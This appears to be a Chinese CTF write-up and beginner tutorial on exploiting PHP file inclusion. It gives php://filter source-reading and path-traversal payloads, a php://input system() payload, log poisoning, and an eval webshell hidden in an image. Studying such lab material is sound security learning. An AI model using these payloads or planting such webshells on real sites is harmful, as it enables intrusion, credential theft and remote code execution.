进入靶机。

看到网址上新添加了一段东西,显然这是文件包含

但服务器执行了这个PHP文件,输出了运行结果。flag可能藏在源代码里,所以我们需要去尝试PHP伪协议,来读取代码。

构造payloadL:

?filer=php://filter/convert.base64-encode/resource=flag.php

得到编码后的代码,用在线工具解码,得到flag。

1,什么是文件包含:

一个PHP文件里,去‘调用’另一个文件内容。

 

2,怎么去判断是不是文件包含:

1,看URL:有没有类似下面的参数

?file=xxx

?page=xxx

?include=xxx

.......

 

2.尝试读取敏感文件:(可以直接拿到敏感信息)

?page=../../../../etc/password  (Linux文件系统结构)

?Page=../../../../windows/win.ini   (windows)

 

3.看报错信息:

如果出现 fsiled to open stream:No such file 之类的提示,多半是存在文件包含。

 

3.什么是PHP伪协议:

让我们能够用‘特殊方式’来读取或者处理数据,而不是直接读取文件。

 

类型              例子                                 说明

真协议         http://,https://,ftp://     访问外部网战或服务器   

伪协议         php://,data://,file://      不是去网上找东西,而是让PHP用特殊方式处理本地数据

 

4.基本的两种伪协议;

Php://filter :读取PHP文件源码

php://filter/convert.base64-encode/resource=要读取文件

 

Php://input :把POST的内容当代码执行

POST数据:<?php system('ls'); ?>

?file=php://input

 

5.为什么要这样构造payloadL:

php://filter                              用PHP的“过滤器流”,可以处理数据

/convert.base64-encode       应用Base64编码过滤器

/resource=flag.php                指定要操作的文件是flag.php

 

连起来就是:

“把flag.php的原始内容,先用Base64编码,然后返回给我。”

 

6.文件包含,有哪些解决方法:

1.直接读取:

?file=../../../../flag.txt

?page=/etc/password

?path=../config.php

 

读不了的,用过滤器:

php://filter/convert.base64-encode/resource=要读取文件

 

2.写不了的文件,但能包含日志:

先找到日志路径。

污染日志:访问<?php phpinfo();?>(URL或User-Agent里写),日志会记录。

包含日志文件: ?file。。/。。/。。/。。/var/log/apache2/access.log,恶意代码被执行。

 

3.能上传图片,但不能传PHP:

制作图片马。

· 准备一张正常图片 cat.jpg

· 准备一句话木马 shell.php:

     <?php @eval($_POST['cmd']); ?>

· Windows合并:

     copy /b cat.jpg+shell.php cat_shell.jpg

    

上传到服务器,记住路径。

包含执行: ?file=../../uploads/cat_shell.jpg

 

 

 

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐